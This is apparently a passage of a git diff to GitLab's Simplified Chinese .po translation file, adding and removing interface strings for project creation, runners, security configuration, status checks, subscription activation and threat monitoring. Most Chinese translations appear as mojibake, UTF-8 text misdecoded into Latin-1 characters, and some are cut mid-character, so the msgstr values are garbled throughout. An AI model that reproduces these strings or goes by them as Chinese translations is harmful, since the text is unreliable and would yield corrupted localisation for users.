+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr "cluster_type为:project时项目为必需"
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "在GitLab项目上执行常è§æ“作: %{project_name}"
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "与 %{group_name} 共享的项目"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr "属于群组的项目以群组å称为å‰ç¼€ã€‚现有项目å¯ä»¥ç§»åŠ¨åˆ°ä¸€ä¸ªç¾¤ç»„中。"
-
msgid "Projects to index"
msgstr "è¦ç´¢å¼•çš„项目"
@@ -25609,12 +26109,6 @@ msgstr "此功能需è¦æµè§ˆå™¨æ”¯æŒæœ¬åœ°å­˜å‚¨"
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr "å…许您立å³å…‹éš†è¿™ä¸ªé¡¹ç›®çš„仓库。如果您计划推é€ä¸€ä¸ªçŽ°æœ‰çš„仓库,请跳过这个步骤。"
-msgid "ProjectsNew|Blank"
-msgstr "空白"
-
-msgid "ProjectsNew|Blank project"
-msgstr "空白项目"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr "将外部仓库连接到GitLab CI/CD"
@@ -25627,6 +26121,9 @@ msgstr "创建"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr "创建一个空白项目æ¥å­˜æ”¾æ‚¨çš„文件,规划您的工作,并在代ç ç­‰æ–¹é¢è¿›è¡Œå作。"
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr "创建空白项目"
@@ -25639,9 +26136,6 @@ msgstr "从模æ¿åˆ›å»º"
msgid "ProjectsNew|Create new project"
msgstr "创建新项目"
-msgid "ProjectsNew|Creating project & repository."
-msgstr "创建项目和仓库。"
-
msgid "ProjectsNew|Description format"
msgstr "æè¿°æ ¼å¼"
@@ -25657,21 +26151,18 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "使用自述文件åˆå§‹åŒ–仓库"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
msgid "ProjectsNew|No import options available"
msgstr "没有å¯ç”¨çš„导入选项"
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "请ç¨ç­‰ï¼Œæ­¤é¡µé¢ä¼šåœ¨å‡†å¤‡å¥½åŽè‡ªåŠ¨åˆ·æ–°ã€‚"
-
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "项目æè¿°%{tag_start}(å¯é€‰)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr "为外部仓库è¿è¡ŒCI/CD"
-msgid "ProjectsNew|Template"
-msgstr "模æ¿"
-
msgid "ProjectsNew|Visibility Level"
msgstr "å¯è§æ€§çº§åˆ«"
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr "é‡æ–°é…ç½®"
-msgid "Recover hidden stage"
-msgstr "æ¢å¤éšè—阶段"
-
msgid "Recovering projects"
msgstr "æ¢å¤é¡¹ç›®"
@@ -26431,6 +26919,9 @@ msgstr "æ¢å¤ç "
msgid "Redirect to SAML provider to test configuration"
msgstr "跳转到SAML供应商以测试é…ç½®"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr "Redis"
@@ -26528,7 +27019,7 @@ msgstr "é•œåƒåº“设置"
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr "删除次è¦èŠ‚点"
msgid "Remove spent time"
msgstr "删除消耗时间"
-msgid "Remove stage"
-msgstr "移除阶段"
-
msgid "Remove time estimate"
msgstr "删除时间估计"
@@ -26778,6 +27266,9 @@ msgstr "从群组中删除用户"
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr "已删除"
@@ -27713,6 +28204,18 @@ msgstr "å称"
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr "å¹³å°"
@@ -28279,16 +28782,25 @@ msgstr "å¯ç”¨äºŽæŒ‰éœ€DAST"
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr "默认情况下,所有分æžå·¥å…·éƒ½ä¼šè¢«è°ƒç”¨ä»¥æ¶µç›–您项目中的所有语言。 并且åªåœ¨åˆå¹¶è¯·æ±‚中检测到相关语言时è¿è¡Œã€‚"
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr "é…ç½®"
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr "自定义常è§çš„SAST设置以满足您的需求。此处所åšçš„é…ç½
msgid "SecurityConfiguration|Enable"
msgstr "å¯ç”¨"
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr "å¯ç”¨"
@@ -28315,6 +28830,9 @@ msgstr "%{featureName}的功能文档"
msgid "SecurityConfiguration|Manage"
msgstr "管ç†"
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr "更多信æ¯"
@@ -28327,18 +28845,21 @@ msgstr "SAST分æžå·¥å…·"
msgid "SecurityConfiguration|SAST Configuration"
msgstr "SASTé…ç½®"
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
-msgstr ""
-
msgid "SecurityConfiguration|Security Control"
msgstr "安全控制"
+msgid "SecurityConfiguration|Security testing"
+msgstr ""
+
msgid "SecurityConfiguration|Status"
msgstr "状æ€"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr "测试与åˆè§„"
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr "使用自定义设置。您ä¸ä¼šæ”¶åˆ°æ­¤å˜é‡çš„自动更新。 %{anchorStart}还原到默认%{anchorEnd}"
@@ -28393,6 +28914,9 @@ msgstr "在'%{vulnerabilityName}' 上的评论已编辑"
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr "已忽略'%{vulnerabilityName}'。请关闭éšè—忽略开关以查看ã€
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr "下载报告"
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr "获å–æ¼æ´žåˆ—表时出错。请检查您的网络连接,然åŽé‡è¯•
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr "无法获å–安全报告信æ¯ã€‚请é‡æ–°åŠ è½½é¡µé¢æˆ–ç¨åŽå†è¯•ã€‚"
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr "Fuzzing产物"
-
msgid "SecurityReports|Hide dismissed"
msgstr "éšè—已忽略项"
@@ -28606,6 +29124,9 @@ msgstr "您必须以授æƒç”¨æˆ·èº«ä»½ç™»å½•æ‰èƒ½æŸ¥çœ‹æ­¤æŠ¥å‘Š"
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "查看指标"
@@ -28672,6 +29193,9 @@ msgstr "选择原因"
msgid "Select a repository"
msgstr "选择一个仓库"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "选择模æ¿ä»“库"
@@ -28906,6 +29430,9 @@ msgstr "Serverless"
msgid "Serverless domain"
msgstr "æ— æœåŠ¡å™¨åŸŸ"
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr "函数调用指标需è¦é¦–先安装Prometheus。"
@@ -29059,9 +29586,6 @@ msgstr "设定缺çœåŠå—é™å¯è§æ€§çº§åˆ«ã€‚é…置导入æ¥æºåŠgit访问å
msgid "Set due date"
msgstr "设置截止日期"
-msgid "Set instance-wide template repository"
-msgstr "设置实例范围的模æ¿ä»“库"
-
msgid "Set iteration"
msgstr "设置迭代"
@@ -29296,9 +29820,6 @@ msgstr "上级群组的共享Runner被ç¦ç”¨"
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr "在群组级别ç¦ç”¨å…±äº«Runner"
-
msgid "Shared runners help link"
msgstr "共享Runner帮助链接"
@@ -29535,6 +30056,12 @@ msgstr "登录文本"
msgid "Sign-up restrictions"
msgstr "注册é™åˆ¶"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr "å字太长(最多%{max_length}字符)。"
@@ -29628,6 +30155,9 @@ msgstr "设置此æœåŠ¡åŽï¼Œè¯·è¾“入以下内容,查看Slack中å¯ç”¨å‘½ä»¤ç
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr "æ­¤æœåŠ¡å…许用户通过在Slack中输入斜æ å‘½ä»¤æ¥å¯¹è¯¥é¡¹ç›®æ‰§è¡Œå¸¸è§æ“作。"
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "智能å¡"
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "åœæ­¢çŽ¯å¢ƒæ—¶å‡ºé”™ã€‚请é‡è¯•ã€‚"
@@ -30171,6 +30704,9 @@ msgstr "指定电å­é‚®ä»¶åœ°å€æ­£åˆ™è¡¨è¾¾å¼æ¨¡å¼ä»¥æ ‡è¯†é»˜è®¤å†…部用户
msgid "Speed up your pipelines with Needs relationships"
msgstr "通过Needs关系加速您的æµæ°´çº¿"
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr "压缩æ交消æ¯"
@@ -30184,13 +30720,16 @@ msgid "Stacktrace snippet"
msgstr "堆栈跟踪代ç ç‰‡æ®µ"
msgid "Stage"
-msgstr "æš‚å­˜"
+msgstr "阶段"
-msgid "Stage data updated"
-msgstr "阶段数æ®å·²æ›´æ–°"
+msgid "StageName|Build"
+msgstr ""
-msgid "Stage removed"
-msgstr "阶段已删除"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
+msgstr ""
msgid "Standard"
msgstr "标准"
@@ -30411,18 +30950,57 @@ msgstr "状æ€: %{title}"
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr "状æ€é¡µ"
msgid "StatusPage|Status page URL"
msgstr "状æ€é¡µç½‘å€"
-msgid "StatusPage|Status page frontend documentation"
-msgstr "状æ€é¡µé¢å‰ç«¯æ–‡æ¡£"
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr "存储:"
msgid "StorageSize|Unknown"
msgstr "未知"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr "å­ç¾¤ç»„里程碑"
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr "订阅删除失败。"
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr "订阅æˆåŠŸåº”用于“%{group_name}â€"
@@ -30729,6 +31310,9 @@ msgstr "å·²æˆåŠŸæ¿€æ´»"
msgid "Successfully approved"
msgstr "å·²æˆåŠŸæ‰¹å‡†"
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "æˆåŠŸç¦ç”¨"
@@ -30753,6 +31337,9 @@ msgstr "æµæ°´çº¿å·²å®‰æŽ’è¿è¡Œã€‚请查看 %{pipelines_link_start}æµæ°´çº¿é¡µ
msgid "Successfully synced %{synced_timeago}."
msgstr "å·²æˆåŠŸåŒæ­¥äºŽ%{synced_timeago}。"
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr "æˆåŠŸè§£é™¤ç¦ç”¨"
@@ -30864,42 +31451,93 @@ msgstr "概览"
msgid "Sunday"
msgstr "星期日"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr "支æŒé¡µé¢ç½‘å€"
msgid "Survey Response"
msgstr "é—®å·è°ƒæŸ¥ç­”å¤"
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "切æ¢åˆ†æ”¯/标签"
@@ -31161,6 +31832,9 @@ msgstr "模æ¿"
msgid "Template to append to all Service Desk issues"
msgstr "附加到所有æœåŠ¡å°ç”Ÿæˆè®®é¢˜çš„模æ¿"
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "模æ¿"
@@ -31313,9 +31987,6 @@ msgstr "测试"
msgid "Test Cases"
msgstr "测试用例"
-msgid "Test cases are not available for this project"
-msgstr "测试用例对此项目ä¸é€‚用"
-
msgid "Test coverage parsing"
msgstr "测试覆盖率解æž"
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr "测试"
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr "感谢您注册å…费试用版ï¼éšåŽæ‚¨å°†æ”¶åˆ°æœ‰å…³å®‰è£…使用指å—的邮件。"
@@ -31483,8 +32157,8 @@ msgstr "就是这样,åšå¾—好ï¼"
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr "群组“%{group_path}â€å…许您使用SSO以登录å¸æˆ·"
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
-msgstr "“需è¦æ¥è‡ªä»£ç æ‰€æœ‰è€…的批准â€è®¾ç½®å·²ç§»è‡³%{banner_link_start}ä¿æŠ¤åˆ†æ”¯%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
+msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr "%{link_start}校准模å¼%{link_end}å…许有é¢å¤–用户,这些é¢å¤–用户在更新订阅时将会产生追溯费用。"
@@ -31505,6 +32179,9 @@ msgstr "GitLab中的高级æœç´¢åŠŸèƒ½æ˜¯éžå¸¸å¼ºå¤§çš„æœç´¢æœåŠ¡ã€‚您å¯ä»¥
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr "Jira用户%{jiraDisplayName}将映射到的GitLab用户"
@@ -31695,6 +32372,9 @@ msgstr "该导入过程将在 %{timeout}åŽè¶…时。对于需è¦é•¿äºŽè¯¥æ—¶é—´æ
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "无法接å—邀请。"
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr "æ­¤åˆå¹¶è¯·æ±‚çš„åˆå¹¶å†²çªå·²å¾—到解决。请返回åˆå¹¶è¯·æ±‚。
msgid "The merge request can now be merged."
msgstr "åˆå¹¶è¯·æ±‚现在å¯ä»¥åˆå¹¶äº†ã€‚"
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr "环境上有正在è¿è¡Œçš„部署。请ç¨åŽé‡è¯•ã€‚"
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr "获å–用户时出现问题。"
-msgid "There was a problem refreshing the data, please try again"
-msgstr "刷新数æ®æ—¶å‡ºçŽ°é—®é¢˜ï¼Œè¯·é‡è¯•"
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr "ä¿å­˜æ‚¨çš„自定义阶段时出错,请é‡è¯•"
-
msgid "There was a problem sending the confirmation email"
msgstr "å‘é€ç¡®è®¤é‚®ä»¶æ—¶å‡ºçŽ°é—®é¢˜"
@@ -32166,6 +32837,9 @@ msgstr "删除待办事项时出现错误"
msgid "There was an error fetching configuration for charts"
msgstr "获å–图表的é…置时出错"
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr "获å–选定阶段的数æ®æ—¶å‡ºé”™"
@@ -32229,9 +32903,6 @@ msgstr "解æžæ­¤å›¾è¡¨çš„æ•°æ®æ—¶å‡ºé”™ã€‚"
msgid "There was an error removing the e-mail."
msgstr "删除电å­é‚®ä»¶æ—¶å‡ºé”™ã€‚"
-msgid "There was an error removing your custom stage, please try again"
-msgstr "删除自定义阶段时出错,请é‡è¯•"
-
msgid "There was an error resetting group pipeline minutes."
msgstr "é‡ç½®ç¾¤ç»„æµæ°´çº¿åˆ†é’Ÿæ•°æ—¶å‡ºé”™ã€‚"
@@ -32274,9 +32945,6 @@ msgstr "更新仪表æ¿æ—¶å‡ºé”™ï¼Œåˆ†æ”¯å称无效。"
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr "更新仪表æ¿æ—¶å‘生错误,å为%{branch}的分支已存在。"
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr "更新阶段顺åºæ—¶å‡ºé”™ã€‚请å°è¯•é‡æ–°åŠ è½½é¡µé¢ã€‚"
-
msgid "There was an error when reseting email token."
msgstr "é‡ç½®ç”µå­é‚®ä»¶ä»¤ç‰Œæ—¶å‡ºé”™ã€‚"
@@ -32400,8 +33068,11 @@ msgstr "这也会åŒæ—¶è§£å†³æ‰€æœ‰ç›¸å…³ä¸»é¢˜"
msgid "This also resolves this thread"
msgstr "这也会åŒæ—¶è§£å†³æ­¤ä¸»é¢˜"
-msgid "This application was created by %{link_to_owner}."
-msgstr "这个应用程åºæ˜¯ç”± %{link_to_owner} 创建的。"
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "此应用程åºå°†å¯ä»¥ï¼š"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr "此功能需è¦æœ¬åœ°å­˜å‚¨ä»¥å¯ç”¨"
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr "此功能应与13.0åŽåˆ›å»ºçš„索引一起使用"
-
msgid "This field is required."
msgstr "该字段是必填字段。"
@@ -32838,6 +33506,9 @@ msgstr "该用户曾ç»æ交到%{name}项目。"
msgid "This user has the %{access} role in the %{name} project."
msgstr "该用户在%{name}项目中的角色为%{access}。"
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr "所有环境"
msgid "ThreatMonitoring|Anomalous Requests"
msgstr "异常请求"
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr "未检测到应用程åºé˜²ç«å¢™"
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr "容器网络策略尚未安装或已被ç¦ç”¨ã€‚è¦æŸ¥çœ‹æ­¤æ•°æ®ï¼Œè¯·ç¡®ä¿æ‚¨çš„网络策略已安装并为您的集群å¯ç”¨ã€‚"
@@ -32907,6 +33575,9 @@ msgstr "环境"
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr "统计"
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr "防ç«å¢™å°šæœªå®‰è£…或已被ç¦ç”¨ã€‚è¦æŸ¥çœ‹æ­¤æ•°æ®ï¼Œè¯·ç¡®ä¿å®‰è£…网络应用防ç«å¢™å¹¶ä¸ºæ‚¨çš„集群å¯ç”¨ã€‚"
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr "查看文档"
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr "Web应用程åºé˜²ç«å¢™"
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr "虽然您的项目中还没有æµé‡ï¼Œè¿™ç§çŽ°è±¡å¾ˆç½•è§ï¼Œä½†ä¹Ÿæ˜¯æœ‰å¯èƒ½çš„。无论如何,建议您仔细检查设置以确ä¿WAFçš„é…置正确。"
-
msgid "Throughput"
msgstr "åžåé‡"
@@ -33006,6 +33668,9 @@ msgstr "星期四"
msgid "Time"
msgstr "时间"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr "基于时间:是"
@@ -33057,6 +33722,9 @@ msgstr "è¦å‡åŽ»çš„时间超过总耗时"
msgid "Time tracking"
msgstr "工时统计"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "创建第一个åˆå¹¶è¯·æ±‚之å‰çš„时间"
@@ -33230,9 +33898,6 @@ msgstr[0] "分钟"
msgid "Time|s"
msgstr "秒"
-msgid "Tip:"
-msgstr "æ示:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr "如需将整个GitLab项目从å¦ä¸€ä¸ªGitLabæœåŠ¡å™¨ç§»åŠ¨æˆ–å¤åˆ¶åˆ°
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr "如需外部仓库仅使用CI/CD功能时,请选择%{strong_open}使用外部仓库è¿è¡ŒCI/CD%{strong_close}。"
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
